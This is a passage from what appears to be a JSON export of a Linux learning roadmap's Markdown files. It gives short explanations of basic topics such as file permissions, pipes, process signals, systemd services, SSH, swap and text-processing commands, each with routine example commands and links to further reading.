    "content": "# Permissions\n\nLinux permissions control file and directory access for users, groups, and others with read, write, and execute types. Commands include `chmod` (change permissions), `chown` (change owner), and `chgrp` (change group). Proper permission management is crucial for system security and organization. Essential for maintaining controlled access to system resources.\n\nVisit the following resources to learn more:\n\n- [@article@Understanding Linux File Permissions](https://linuxize.com/post/understanding-linux-file-permissions/)\n- [@article@Linux File Permissions](https://linuxhandbook.com/linux-file-permissions/)\n- [@article@Linux Permissions of Files](https://labex.io/tutorials/linux-permissions-of-files-270252)\n- [@video@Linux File Permissions in 5 Minutes](https://www.youtube.com/watch?v=LnKoncbQBsM)"
  },
  {
    "path": "src/data/roadmaps/linux/content/permissions@TnrT-cqMA8urew9nLv0Ns.md",
    "content": "# Linux File Permissions\n\nIn Linux systems, rights and privileges are assigned to files and directories in the form of permissions. These permissions indicate who can read, write, or execute (run) them. In Linux, there are three types of users: owners, groups, and others who can have a different set of permissions.\n\nIn fact, permissions on the system are there for a reason: to prevent unprivileged users from making changes on the system that would ultimately affect other users. With inadequate permissions, unprivileged users are able to make changes that would be beneficial or harmless to the Linux system.\n\nLet's have a look at an example:\n\n```bash\n-rwxr--r-- 1 root root 4096 Jan 1 12:00 filename\n```\n\nFrom the above example, the first character `-` indicates if it is a regular file(`-`) or directory(`d`). The following group of three characters(`rwx`) represents the permissions for the file owner. The next three characters(`r--`) represent permissions for the group and the last set of three characters(`r--`) represents permissions for others.\n\nThe `r` indicates that the file can be read, `w` indicates that the file can be written to, and `x` indicates that the file can be executed.\n\nThe permissions can be changed using the `chmod`, `chown`, and `chgrp` commands.\n\nLearn more from the following resources:\n\n- [@article@Linux File Permissions](https://linuxhandbook.com/linux-file-permissions/)\n- [@video@Linux File Permissions in 5 Minutes](https://www.youtube.com/watch?v=LnKoncbQBsM)\n- [@article@Linux Permissions of Files](https://labex.io/tutorials/linux-permissions-of-files-270252)"
  },
  {
    "path": "src/data/roadmaps/linux/content/ping@Uc36t92UAlILgM3_XxcMG.md",
    "content": "# Ping\n\nThe `ping` command is essential for Linux network troubleshooting, checking connectivity between your host and target machines. It sends ICMP ECHO\\_REQUEST packets and listens for ECHO\\_RESPONSE returns, providing insights into connection health and speed. Use `ping <target IP or hostname>` to diagnose network connectivity issues and identify reachability problems efficiently.\n\nVisit the following resources to learn more:\n\n- [@article@Ping Command in Linux](https://linuxize.com/post/linux-ping-command/)\n- [@article@Ping Command Examples in Linux - It's FOSS](https://itsfoss.com/ping-command/)"
  },
  {
    "path": "src/data/roadmaps/linux/content/pipe@v32PJl4fzIFTOirOm6G44.md",
    "content": "# Pipe Commands\n\nThe pipe (`|`) is a powerful feature in Linux used to connect two or more commands together. This mechanism allows output of one command to be \"piped\" as input to another. With regards to text processing, using pipe is especially helpful since it allows you to manipulate, analyze, and transform text data without the need to create intermediary files or programs.\n\nHere is a simple example of piping two commands, `ls` and `grep`, to list all the text files in the current directory:\n\n    ls | grep '\\.txt$'\n    \n\nIn this example, `ls` lists the files in the current directory and `grep '\\.txt$'` filters out any files that don't end with `.txt`. The pipe command, `|`, takes the output from `ls` and uses it as the input to `grep '\\.txt$'`. The output of the entire command is the list of text files in the current directory.\n\nVisit the following resources to learn more:\n\n- [@article@An In-Depth Guide to Pipes in Linux - TheLinuxCode](https://thelinuxcode.com/linux-pipe-command-examples/)\n- [@article@Piping and Redirection](https://ryanstutorials.net/linuxtutorial/piping.php#piping)\n- [@article@What is Piping in Linux?](https://linuxsimply.com/what-is-piping-in-linux/)"
  },
  {
    "path": "src/data/roadmaps/linux/content/proc-forking@Rib7h9lh_ndiXkwNbftz_.md",
    "content": "# Process Forking\n\nProcess forking uses the `fork()` system call to create child processes from parent processes, enabling concurrent execution. Child processes are nearly perfect copies of parents with different PIDs. Changes in child processes don't affect parents. Essential for understanding Linux process creation and control in multi-processing environments.\n\nVisit the following resources to learn more:\n\n- [@article@fork — Linux manual page](https://www.man7.org/linux/man-pages/man2/fork.2.html)\n- [@article@Understanding the fork() System Call in Linux](https://thelinuxcode.com/fork-system-call-linux/)\n- [@article@Linux Process calls: Creating process using fork](https://medium.com/@joshuaudayagiri/linux-process-calls-creating-process-using-fork-52a1eac7de8b)"
  },
  {
    "path": "src/data/roadmaps/linux/content/proc-priorities@5anSYRhaKIs3dCLWlvZfT.md",
    "content": "# Process Priorities\n\nLinux assigns priority levels to processes for efficient resource utilization and execution timing. Priority values (\"nice\" values) range from -20 (highest) to +19 (lowest priority). View priorities with `ps -eo pid,pri,user,comm`. Change priorities using `renice -5 -p [PID]`. Essential for system performance optimization and CPU resource management.\n\nVisit the following resources to learn more:\n\n- [@article@Understanding Process Thread Priorities in Linux](https://blogs.oracle.com/linux/post/task-priority)\n- [@article@How To Manipulate Process Priority In Linux](https://www.itsmarttricks.com/how-to-manipulate-process-priority-in-linux-using-nice-and-renice-commands/)"
  },
  {
    "path": "src/data/roadmaps/linux/content/proc-signals@VkLWTvKnRXzvLGWza2v45.md",
    "content": "# Process Signals\n\nProcess signals are communication mechanisms in Linux that notify processes of synchronous or asynchronous events. Common signals include SIGINT, SIGSTOP, SIGKILL for interrupting, pausing, or terminating processes. Example: `kill -SIGSTOP 12345` suspends process with PID 12345 until `SIGCONT` is received. Essential for comprehensive process management and resource allocation.\n\nVisit the following resources to learn more:\n\n- [@article@Understanding Linux Process Signals](https://www.ceos3c.com/linux/understanding-linux-process-signals-a-complete/)\n- [@article@Linux Process Signals and their meaning](https://linux-audit.com/processes/linux-process-signals/)\n"
  },
  {
    "path": "src/data/roadmaps/linux/content/process-forking@Rib7h9lh_ndiXkwNbftz_.md",
    "content": "# Process Forking\n\nProcess forking uses the `fork()` system call to create child processes from parent processes, enabling concurrent execution. Child processes are nearly perfect copies of parents with different PIDs. Changes in child processes don't affect parents. Essential for understanding Linux process creation and control in multi-processing environments.\n\nVisit the following resources to learn more:\n\n- [@article@fork — Linux manual page](https://www.man7.org/linux/man-pages/man2/fork.2.html)\n- [@article@Understanding the fork() System Call in Linux](https://thelinuxcode.com/fork-system-call-linux/)\n- [@article@Linux Process calls: Creating process using fork](https://medium.com/@joshuaudayagiri/linux-process-calls-creating-process-using-fork-52a1eac7de8b)"
  },
  {
    "path": "src/data/roadmaps/linux/content/process-management@h01Y6dW09ChidlM2HYoav.md",
    "content": "# Process Management\n\nLinux treats every running program as a process. Process management commands help view, control, and manipulate these processes. Key commands: `ps aux` shows running processes, `top` provides live system view, `kill -SIGTERM pid` gracefully stops processes, `kill -SIGKILL pid` forcefully terminates processes. Essential for understanding and controlling Linux system operations effectively.\n\nVisit the following resources to learn more:\n\n- [@article@The Complete Guide to Process Management Commands](https://thelinuxcode.com/process-management-commands-linux/)\n- [@article@Commands for Process Management in Linux](https://www.digitalocean.com/community/tutorials/process-management-in-linux)"
  },
  {
    "path": "src/data/roadmaps/linux/content/process-priorities@5anSYRhaKIs3dCLWlvZfT.md",
    "content": "# Process Priorities\n\nLinux assigns priority levels to processes, affecting execution timing and resource allocation. Process priorities use \"nice\" values ranging from -20 (highest priority) to +19 (lowest priority) and only root can set negative nice value. The `/proc` filesystem contains process information including priorities. You can view priorities with `ps -eo pid,pri,user,comm` and modify them using `renice` command.\n\nVisit the following resources to learn more:\n\n- [@article@Understanding Process Thread Priorities in Linux](https://blogs.oracle.com/linux/post/task-priority)\n- [@article@How To Manipulate Process Priority In Linux](https://www.itsmarttricks.com/how-to-manipulate-process-priority-in-linux-using-nice-and-renice-commands/)"
  },
  {
    "path": "src/data/roadmaps/linux/content/process-signals@VkLWTvKnRXzvLGWza2v45.md",
    "content": "# Process Signals\n\nProcess signals are communication mechanisms in Linux that notify processes of synchronous or asynchronous events. Common signals include SIGINT, SIGSTOP, SIGKILL for interrupting, pausing, or terminating processes. Example: `kill -SIGSTOP 12345` suspends process with PID 12345 until `SIGCONT` is received. Essential for comprehensive process management and resource allocation.\n\nVisit the following resources to learn more:\n\n- [@article@Process signals](https://linuxjourney.com/lesson/process-signals)\n- [@article@Understanding Linux Process Signals](https://www.ceos3c.com/linux/understanding-linux-process-signals-a-complete/)\n- [@article@Linux Process Signals and their meaning](https://linux-audit.com/processes/linux-process-signals/)"
  },
  {
    "path": "src/data/roadmaps/linux/content/redirects@JgoZzx4BfK7tmosgpZOsf.md",
    "content": "# Redirects\n\nThe shell in Linux provides a robust way of managing input and output streams of a command or program, this mechanism is known as Redirection. Linux being a multi-user and multi-tasking operating system, every process typically has 3 streams opened:\n\n*   Standard Input (stdin) - This is where the process reads its input from. The default is the keyboard.\n*   Standard Output (stdout) - The process writes its output to stdout. By default, this means the terminal.\n*   Standard Error (stderr) - The process writes error messages to stderr. This also goes to the terminal by default.\n\nVisit the following resources to learn more:\n\n- [@article@Input Output & Error Redirection in Linux](https://linuxhandbook.com/redirection-linux/)\n- [@article@Redirections (Bash Reference Manual)](https://www.gnu.org/software/bash/manual/html_node/Redirections.html)\n- [@article@Redirections in Linux with Examples](https://linuxopsys.com/redirections-in-linux-with-examples)"
  },
  {
    "path": "src/data/roadmaps/linux/content/repositories@2oQiuQ2j02SCt9t5eV6hg.md",
    "content": "# Repositories\n\nRepositories are storage locations containing collections of software packages for Linux distributions. They store thousands of compiled packages specific to each distribution (.deb for Debian/Ubuntu, .rpm for Fedora/CentOS). Repositories ensure secure, tested software with proper dependencies. Update commands: `sudo apt update` (Ubuntu), `sudo yum update` (CentOS/Fedora). Essential for secure software management.\n\nVisit the following resources to learn more:\n\n- [@official@APT Package Manager](https://www.debian.org/doc/manuals/apt-guide/index.en.html)\n- [@article@What is Repository in Linux?](https://linuxsimply.com/what-is-repository-in-linux/)\n- [@article@Official Repositories - ArchWiki](https://wiki.archlinux.org/title/Official_repositories)\n- [@article@Understanding Linux Repositories](https://blogs.maalavs.com/linux/understanding-linux-repositories/)"
  },
  {
    "path": "src/data/roadmaps/linux/content/server-review@jSzfQf0MlnXtWHCc-HYvr.md",
    "content": "# Server Review\n\nServer review in Linux involves assessing performance, security, and configuration to identify improvements and issues. Check security enhancements, log files, user accounts, network configuration, and software versions. Common commands: `free -m` for memory, `df -h` for disk usage, `uptime` for CPU load. Critical task for system administrators and DevOps professionals to ensure optimal performance, security, and reliability.\n\nVisit the following resources to learn more:\n\n- [@article@Linux Server Management Essentials](https://www.ictbroadcast.com/linux-server-management-essentials-administration-monitoring-and-maintenance-guidelines-for-success/)\n- [@article@Essential Linux Server Maintenance Checklist](https://tecadmin.net/linux-server-maintenance-checklist/)\n- [@article@Optimizing Linux Server Performance](https://www.linuxjournal.com/content/optimizing-linux-server-performance-benchmarking-and-advanced-techniques)"
  },
  {
    "path": "src/data/roadmaps/linux/content/service-management-systemd@F1sU3O1ouxTOvpidDfN3k.md",
    "content": "# Service Management\n\nService management controls Linux services (daemons) during boot and shutdown processes. Common systemctl commands include start, stop, restart, reload, status, enable/disable. Modern Linux uses systemd while older systems use SystemV or Upstart. Example: `sudo systemctl start sshd` starts SSH service. Essential skill for Linux system administration and maintaining secure, stable systems.\n\nVisit the following resources to learn more:\n\n- [@article@How to Master Linux Service Management with Systemctl](https://labex.io/tutorials/linux-how-to-master-linux-service-management-with-systemctl-392864)\n- [@article@Service Management in Linux: A Comprehensive Guide](https://medium.com/@thesureshvadde/service-management-in-linux-a-comprehensive-guide-cb4c7e81dfa9)\n- [@article@How to Manage Services in Linux: systemd and SysVinit](https://dev.to/iaadidev/how-to-manage-services-in-linux-systemd-and-sysvinit-essentials-devops-prerequisite-8-1jop)"
  },
  {
    "path": "src/data/roadmaps/linux/content/service-management@F1sU3O1ouxTOvpidDfN3k.md",
    "content": "# Service Management\n\nService management controls Linux services (daemons) during boot and shutdown processes. Common systemctl commands include start, stop, restart, reload, status, enable/disable. Modern Linux uses systemd while older systems use SystemV or Upstart. Example: `sudo systemctl start sshd` starts SSH service. Essential skill for Linux system administration and maintaining secure, stable systems.\n\nLearn more from the following resources:\n\n- [@article@How to Master Linux Service Management with Systemctl](https://labex.io/tutorials/linux-how-to-master-linux-service-management-with-systemctl-392864)\n- [@article@Service Management in Linux: A Comprehensive Guide](https://medium.com/@thesureshvadde/service-management-in-linux-a-comprehensive-guide-cb4c7e81dfa9)\n- [@article@How to Manage Services in Linux: systemd and SysVinit](https://dev.to/iaadidev/how-to-manage-services-in-linux-systemd-and-sysvinit-essentials-devops-prerequisite-8-1jop)"
  },
  {
    "path": "src/data/roadmaps/linux/content/service-status@34UUrc8Yjc_8lvTL8itc3.md",
    "content": "# Service Status\n\nService status shows the current state of Linux services including network processes, backend servers, and background applications. Use `systemctl status service_name` to check service states through systemd manager. Example: `systemctl status apache2.service` shows Apache web server status. Essential for diagnosing problems, maintaining performance, and preventing service downtimes.\n\nLearn more from the following resources:\n\n- [@article@Service Management in Linux: A Comprehensive Guide](https://medium.com/@thesureshvadde/service-management-in-linux-a-comprehensive-guide-cb4c7e81dfa9)\n- [@article@Use Systemctl Status Command to Check Service Status](https://linuxhandbook.com/systemctl-check-service-status/)\n- [@article@How to Check All Running Services in Linux](https://www.2daygeek.com/how-to-check-all-running-services-in-linux/)"
  },
  {
    "path": "src/data/roadmaps/linux/content/services-running@ewUuI_x-YhOQIYd3MTgJJ.md",
    "content": "# Running Services\n\nLinux servers run various services including web, database, DNS, and mail servers. System administrators use tools like `systemctl`, `service`, `netstat`, `ss`, and `lsof` to manage and monitor services. Use `systemctl --type=service` to list all active services with their status. Essential for server management, resource monitoring, and troubleshooting.\n\nVisit the following resources to learn more:\n\n- [@article@How to List Linux Services With systemctl](https://www.howtogeek.com/839285/how-to-list-linux-services-with-systemctl/)\n- [@article@Service Management in Linux: A Comprehensive Guide](https://medium.com/@thesureshvadde/service-management-in-linux-a-comprehensive-guide-cb4c7e81dfa9)\n- [@article@How to Manage Services in Linux: systemd and SysVinit](https://dev.to/iaadidev/how-to-manage-services-in-linux-systemd-and-sysvinit-essentials-devops-prerequisite-8-1jop)"
  },
  {
    "path": "src/data/roadmaps/linux/content/shell-and-other-basics@8QBMyL8D5jPovxN8jyZW9.md",
    "content": "# Shell Basics\n\nThe Linux shell is a command-line interface that acts as an intermediary between users and the system kernel. Common shells include Bash, sh, and csh. Basic operations involve navigating directories, creating/deleting files, and executing commands. Shell knowledge is fundamental for Linux administration, scripting, and automation tasks.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit the Dedicated Shell/Bash Roadmap](https://roadmap.sh/shell-bash)\n- [@article@Learning The Shell](https://www.linuxcommand.org/lc3_lts0010.php)\n- [@article@What is a Shell in Linux](https://linuxsimply.com/what-is-a-shell-linux/)\n- [@article@Learn Linux Easily](https://linuxjourney.com)"
  },
  {
    "path": "src/data/roadmaps/linux/content/shell-basics@8QBMyL8D5jPovxN8jyZW9.md",
    "content": "# Shell Basics\n\nThe Linux shell is a command-line interface that acts as an intermediary between users and the system kernel. Common shells include Bash, sh, and csh. Basic operations involve navigating directories, creating/deleting files, and executing commands. Shell knowledge is fundamental for Linux administration, scripting, and automation tasks.\n\nLearn more from the following resources:\n\n- [@article@Learning The Shell](https://www.linuxcommand.org/lc3_lts0010.php)\n- [@article@What is a Shell in Linux](https://linuxsimply.com/what-is-a-shell-linux/)\n- [@article@Learn Linux Easily](https://linuxjourney.com)\n"
  },
  {
    "path": "src/data/roadmaps/linux/content/shell-programming@4tFZ1PLpz50bddf7zSFrW.md",
    "content": "# Shell Programming\n\nShell programming (scripting) automates administrative tasks, repetitive operations, and system monitoring in Linux. Bash is the default shell and scripting language in most distributions. Scripts are text files executed by the shell, excellent for system automation. Example: `#!/bin/bash echo \"Hello, World!\"` creates a simple script that prints output to terminal.\n\nVisit the following resources to learn more:\n\n- [@article@Learn Shell - Free Interactive Shell Tutorial](https://www.learnshell.org/)\n- [@article@Bash Scripting Tutorial Series for Beginners](https://linuxhandbook.com/bash/)\n- [@article@Linux Bash Shell Scripting Tutorial Wiki](https://bash.cyberciti.biz/guide/Main_Page)\n- [@video@Bash Scripting on Linux - YT Playlist](https://youtube.com/playlist?list=PLT98CRl2KxKGj-VKtApD8-zCqSaN2mD4w&si=MSehStqnhSqgoMSj)"
  },
  {
    "path": "src/data/roadmaps/linux/content/snap@eKyMZn30UxQeBZQ7FxFbF.md",
    "content": "# Snap\n\nSnap is a modern Linux package management system by Canonical providing self-contained packages with all dependencies included. Snaps run consistently across different Linux distributions, install from Snapcraft store, and update automatically. Updates are transactional with automatic rollback on failure. Install packages using `sudo snap install [package-name]` command.\n\nVisit the following resources to learn more:\n\n- [@article@The \"snap\" Command in Linux](https://linuxsimply.com/snap-command-in-linux/)\n- [@article@How to Install and Use Snap in Various Linux Distributions](https://itsfoss.com/install-snap-linux/)"
  },
  {
    "path": "src/data/roadmaps/linux/content/soft-hard-links@KaXHG_EKxI5PUXmcvlJt6.md",
    "content": "# Soft and Hard Links\n\nLinux supports two types of file links. Hard links share the same inode and data as the original file - if the original is deleted, data remains accessible. Soft links (symbolic links) are shortcuts pointing to the original file path - they break if the original is removed. Create with `ln` for hard links and `ln -s` for soft links.\n\nVisit the following resources to learn more:\n\n- [@article@Hard links and Soft links in Linux Explained](https://www.redhat.com/en/blog/linking-linux-explained)\n- [@article@Difference between hard link and soft link](https://kerneltalks.com/commands/difference-between-hard-link-and-soft-link/)\n- [@article@How to Understand the Difference between Hard and Symbolic Links in Linux](https://labex.io/tutorials/linux-how-to-understand-the-difference-between-hard-and-symbolic-links-in-linux-409929)\n"
  },
  {
    "path": "src/data/roadmaps/linux/content/soft-links--hard-links@KaXHG_EKxI5PUXmcvlJt6.md",
    "content": "# Soft and Hard Links\n\nLinux supports two types of file links. Hard links share the same inode and data as the original file - if the original is deleted, data remains accessible. Soft links (symbolic links) are shortcuts pointing to the original file path - they break if the original is removed. Create with `ln` for hard links and `ln -s` for soft links.\n\nVisit the following resources to learn more:\n\n- [@article@Hard links and Soft links in Linux Explained](https://www.redhat.com/en/blog/linking-linux-explained)\n- [@article@Difference between hard link and soft link](https://kerneltalks.com/commands/difference-between-hard-link-and-soft-link/)\n- [@article@How to Understand the Difference between Hard and Symbolic Links in Linux](https://labex.io/tutorials/linux-how-to-understand-the-difference-between-hard-and-symbolic-links-in-linux-409929)"
  },
  {
    "path": "src/data/roadmaps/linux/content/sort@1WRIy3xHtQfiQFZrprobP.md",
    "content": "# Sort\n\nLinux provides a variety of tools for processing and manipulating text files, one of which is the sort command. The `sort` command in Linux is used to sort the contents of a text file, line by line. The command uses ASCII values to sort files. You can use this command to sort the data in a file in a number of different ways such as alphabetically, numerically, reverse order, or even monthly. The sort command takes a file as input and prints the sorted content on the standard output (screen).\n\nVisit the following resources to learn more:\n\n- [@article@Sort Command in Linux - 10 Useful Examples](https://linuxhandbook.com/sort-command/)\n- [@article@Sort Command in Linux with Practical Examples](https://tecadmin.net/linux-sort-command/)\n- [@article@Linux sort Command: Text Sorting](https://labex.io/tutorials/linux-linux-sort-command-text-sorting-219196)"
  },
  {
    "path": "src/data/roadmaps/linux/content/split@Pl9s2ti25hsSEljXJvBTj.md",
    "content": "# Split Command\n\nLinux provides an extensive set of tools for manipulating text data. One of such utilities is the `split` command that is used, as the name suggests, to split large files into smaller files. The `split` command in Linux divides a file into multiple equal parts, based on the lines or bytes specified by the user.\n\nVisit the following resources to learn more:\n\n- [@article@Split Command in Linux: 9 Useful Examples](https://linuxhandbook.com/split-command/)\n- [@article@Split Command in Linux: Usage Guide with Examples](https://ioflood.com/blog/split-linux-command/)"
  },
  {
    "path": "src/data/roadmaps/linux/content/ssh@uk6UMuI8Uhf02TBAGVeLS.md",
    "content": "# SSH\n\nSSH (Secure Shell) is a cryptographic network protocol providing secure remote access, command execution, and data communication between networked computers. Replaces insecure protocols like Telnet with confidentiality, integrity, and security. Use `ssh username@server_ip_address` to connect to remote Linux servers. Essential for secure system administration and remote management.\n\nVisit the following resources to learn more:\n\n- [@article@Secure Shell](https://en.wikipedia.org/wiki/Secure_Shell)\n- [@article@Mastering SSH - A Complete Guide to Secure Shell Protocol](https://www.socketxp.com/iot/ssh-secure-shell/)\n- [@article@What is SSH? | Secure Shell (SSH) Protocol - Cloudflare](https://www.cloudflare.com/learning/access-management/what-is-ssh/)"
  },
  {
    "path": "src/data/roadmaps/linux/content/start-stop-service@FStz-bftQBK0M6zz2Bxl4.md",
    "content": "# Start and Stop Services\n\nLinux service management controls system services like firewall, network, and database using `systemctl` commands. Basic operations: `sudo systemctl start service_name` (start), `sudo systemctl stop service_name` (stop), `sudo systemctl restart service_name` (restart). Root permissions required. Essential for system administrators managing updates and configuration changes.\n\nLearn more from the following resources:\n\n- [@article@Service Management in Linux: A Comprehensive Guide](https://medium.com/@thesureshvadde/service-management-in-linux-a-comprehensive-guide-cb4c7e81dfa9)\n- [@article@How to Master Linux Service Management with Systemctl](https://labex.io/tutorials/linux-how-to-master-linux-service-management-with-systemctl-392864)\n- [@article@How to Manage Services in Linux: systemd and SysVinit](https://dev.to/iaadidev/how-to-manage-services-in-linux-systemd-and-sysvinit-essentials-devops-prerequisite-8-1jop)"
  },
  {
    "path": "src/data/roadmaps/linux/content/starting--stopping-services@DuEfJNrm4Jfmp8-8Pggrf.md",
    "content": "# Starting / Stopping Services\n\nLinux service management controls system services like firewall, network, and database using `systemctl` commands. Basic operations: `sudo systemctl start service_name` (start), `sudo systemctl stop service_name` (stop), `sudo systemctl restart service_name` (restart). Root permissions required. Essential for system administrators managing updates and configuration changes.\n\nVisit the following resources to learn more:\n\n- [@article@Service Management in Linux: A Comprehensive Guide](https://medium.com/@thesureshvadde/service-management-in-linux-a-comprehensive-guide-cb4c7e81dfa9)\n- [@article@How to Master Linux Service Management with Systemctl](https://labex.io/tutorials/linux-how-to-master-linux-service-management-with-systemctl-392864)\n- [@article@How to Manage Services in Linux: systemd and SysVinit](https://dev.to/iaadidev/how-to-manage-services-in-linux-systemd-and-sysvinit-essentials-devops-prerequisite-8-1jop)"
  },
  {
    "path": "src/data/roadmaps/linux/content/stdout--stdin--stderr@t3fxSgCgtxuMtHjclPHA6.md",
    "content": "# Stdout, Stdin, and Stderr\n\nLinux processes use three standard data streams: STDIN (input), STDOUT (output), and STDERR (error messages). STDOUT handles normal command output while STDERR specifically handles error messages. You can redirect these streams using operators like `>` for stdout and `2>` for stderr, allowing separate handling of normal output and errors for better scripting and debugging.\n\nVisit the following resources to learn more:\n\n- [@article@Linux Fundamentals - I/O, Standard Streams, and Redirection](https://www.putorius.net/linux-io-file-descriptors-and-redirection.html)\n- [@article@Understanding 'stdin', 'stdout' and 'stderr' in Linux](https://www.slingacademy.com/article/understanding-stdin-stdout-and-stderr-in-linux/)\n- [@article@Working with data streams on the Linux command line](https://opensource.com/article/18/10/linux-data-streams)"
  },
  {
    "path": "src/data/roadmaps/linux/content/stdout-in-err@t3fxSgCgtxuMtHjclPHA6.md",
    "content": "# Stdout, Stdin, and Stderr\n\nLinux processes use three standard data streams: STDIN (input), STDOUT (output), and STDERR (error messages). STDOUT handles normal command output while STDERR specifically handles error messages. You can redirect these streams using operators like `>` for stdout and `2>` for stderr, allowing separate handling of normal output and errors for better scripting and debugging.\n\nLearn more from the following resources:\n\n- [@article@Linux Fundamentals - I/O, Standard Streams, and Redirection](https://www.putorius.net/linux-io-file-descriptors-and-redirection.html)\n- [@article@Understanding 'stdin', 'stdout' and 'stderr' in Linux](https://www.slingacademy.com/article/understanding-stdin-stdout-and-stderr-in-linux/)\n- [@article@Working with data streams on the Linux command line](https://opensource.com/article/18/10/linux-data-streams)"
  },
  {
    "path": "src/data/roadmaps/linux/content/subnetting@Xszo9vXuwwXZo26seHehD.md",
    "content": "# Subnetting\n\nSubnetting divides networks into smaller subnets to improve performance and security in Linux networking. It organizes IP addresses within IP addressing schemes, preventing conflicts and efficiently utilizing address ranges. Use `route -n` to view routing tables and `route add -net xxx.xxx.xxx.x/xx gw yyy.yyy.yyy.y` to add subnets. Essential for complex networking environments.\n\nVisit the following resources to learn more:\n\n- [@article@Understanding IP Addressing and Subnetting in Linux](https://useful.codes/understanding-ip-addressing-and-subnetting-in-linux/)\n- [@article@The Basics of IP Subnetting | Linux Journal](https://www.linuxjournal.com/article/6287)\n- [@article@How to Find Subnet Mask in Linux](https://www.howtouselinux.com/post/find-subnet-mask-on-linux)"
  },
  {
    "path": "src/data/roadmaps/linux/content/super-user@NIBSZGE9PskVrluJpdom0.md",
    "content": "# Super User\n\nThe Super User, also known as \"root user\", represents a user account in Linux with extensive powers, privileges, and capabilities. This user has complete control over the system and can access any data stored on it. This includes the ability to modify system configurations, change other user's passwords, install software, and perform more administrative tasks in the shell environment.\n\nThe usage of super user is critical to operating a Linux system properly and safely as it can potentially cause serious damage. The super user can be accessed through the `sudo` or `su` commands.\n\nVisit the following resources to learn more:\n\n- [@article@Linux Superuser Access, Explained](https://www.redhat.com/en/blog/linux-superuser-access/)\n- [@article@Difference between the root user and super (sudo) user](https://www.computernetworkingnotes.com/linux-tutorials/difference-between-the-root-user-and-super-sudo-user.html)\n- [@article@What is Superuser Access in Linux?](https://www.scaler.com/topics/super-user-in-linux/)"
  },
  {
    "path": "src/data/roadmaps/linux/content/swap@AWosNs2nvDGV8r6WvgBI1.md",
    "content": "# Swap Space\n\nSwap space extends physical memory by using disk storage when RAM is full. Inactive memory pages move to swap, freeing RAM but with performance impact due to slower disk access. Swap can exist as dedicated partitions or regular files. Create with `fallocate`, `mkswap`, and `swapon` commands. Critical for memory management and system stability optimization.\n\nVisit the following resources to learn more:\n\n- [@article@Swap - Arch Wiki](https://wiki.archlinux.org/title/Swap)\n- [@article@How to Increase Swap Space on Linux](https://linuxconfig.org/how-to-increase-swap-space-on-linux)"
  },
  {
    "path": "src/data/roadmaps/linux/content/tail@Yyk28H6TiteZEGv6Aps1h.md",
    "content": "# Tail Command\n\nThe `tail` command in Linux is a utility used in text processing. Fundamentally, it's used to output the last part of the files. The command reads data from standard input or from a file and outputs the last `N` bytes, lines, blocks, characters or words to the standard output (or a different file). By default, `tail` returns the last 10 lines of each file to the standard output. This command is common in situations where the user is interested in the most recent entries in a text file, such as log files.\n\nVisit the following resources to learn more:\n\n- [@article@5 Practical Examples of Tail Command in Linux](https://linuxhandbook.com/tail-command/)\n- [@article@Linux Tail Command | Linuxize](https://linuxize.com/post/linux-tail-command/)\n- [@article@Linux tail Command: File End Display](https://labex.io/tutorials/linux-linux-tail-command-file-end-display-214303)"
  },
  {
    "path": "src/data/roadmaps/linux/content/tcp-ip@0pciSsiQqIGJh3x8465_s.md",
    "content": "# TCP/IP\n\nTCP/IP (Transmission Control Protocol/Internet Protocol) forms the backbone of internet communication, allowing computers to connect and transfer data. It comprises four layers: Network Interface, Internet, Transport, and Application. Essential for Linux networking, enabling hosts to interact across networks. Use `netstat -at` to view active TCP/IP connections. Crucial for network management and troubleshooting.\n\nLearn more from the following resources:\n\n- [@article@TCP/IP Commands for Linux](https://whatismyipaddress.com/tcp-ip-commands-linux)\n- [@article@Netstat Command in Linux](https://phoenixnap.com/kb/netstat-command)\n- [@article@Netstat Command in Linux: 13 Practical Examples](https://linuxhandbook.com/netstat-command/)"
  },
  {
    "path": "src/data/roadmaps/linux/content/tcpip-stack@0pciSsiQqIGJh3x8465_s.md",
    "content": "# TCP/IP Stack\n\nTCP/IP (Transmission Control Protocol/Internet Protocol) is the foundational networking protocol suite that enables computer communication over networks. It consists of four layers: Network Interface, Internet, Transport, and Application. In Linux, TCP/IP is integral to the OS functionality, allowing hosts to connect and transfer data across same or different networks.\n\nVisit the following resources to learn more:\n\n- [@article@TCP/IP Commands for Linux](https://whatismyipaddress.com/tcp-ip-commands-linux)\n- [@article@Netstat Command in Linux](https://phoenixnap.com/kb/netstat-command)\n- [@article@Netstat Command in Linux: 13 Practical Examples](https://linuxhandbook.com/netstat-command/)"
  },
  {
    "path": "src/data/roadmaps/linux/content/tee@Bo9CdrGJej-QcNmw46k9t.md",
    "content": "# Tee\n\nThe `tee` command reads from standard input and writes to both standard output and files simultaneously, like a T-splitter in plumbing. It enables users to view results in the terminal while saving output to files concurrently. Syntax: `command | tee file`. Extremely useful for documenting terminal activities and preserving command outputs for later analysis.\n\nVisit the following resources to learn more:\n\n- [@article@Tee Command in Linux Explained with Examples](https://linuxhandbook.com/tee-command/)\n- [@article@Linux Tee Command](https://linuxize.com/post/linux-tee-command/)"
  },
  {
    "path": "src/data/roadmaps/linux/content/text-processing@-B2Dvz7160Er0OBHzS6ro.md",
    "content": "# Text Processing\n\nLinux offers robust text processing capabilities essential for system administrators and developers. Users can leverage command-line tools like `awk`, `sed`, `grep`, and `cut` for tasks such as filtering, substitution, and regular expression handling. Scripting languages like Python and Perl further enhance text processing. While primarily command-line based, Linux also provides GUI text editors such as `gedit`, `nano`, and `vim`. Proficiency in these tools is vital for automating tasks, parsing files, and efficient data mining.\n\nVisit the following resources to learn more:\n\n- [@article@Common Linux Text Processing Commands](https://www.commandinline.com/linux/common-linux-text-processing-commands/)\n- [@article@Linux Filters](https://ryanstutorials.net/linuxtutorial/filters.php)\n- [@article@Linux Text Processing Command](https://earthly.dev/blog/linux-text-processing-commands/)\n- [@article@Master Linux Text Processing Commands](https://everythingdevops.dev/linux-text-processing-commands/)"
  },
  {
    "path": "src/data/roadmaps/linux/content/tr@O9Vci_WpUY-79AkA4HDx3.md",
    "content": "# Tr-Command\n\nThe `tr` command in Linux is a command-line utility that translates or substitutes characters. It reads from the standard input and writes to the standard output. Although commonly used for translation applications, `tr` has versatile functionality in the text processing aspect of Linux. Ranging from replacing a list of characters, to deleting or squeezing character repetitions, `tr` presents a robust tool for stream-based text manipulations.\n\nVisit the following resources to learn more:\n\n- [@article@tr Command in Linux: 6 Useful Examples](https://linuxhandbook.com/tr-command/)\n- [@article@Linux tr Command with Practical Examples](https://labex.io/tutorials/linux-linux-tr-command-with-practical-examples-422963)\n"
  },
  {
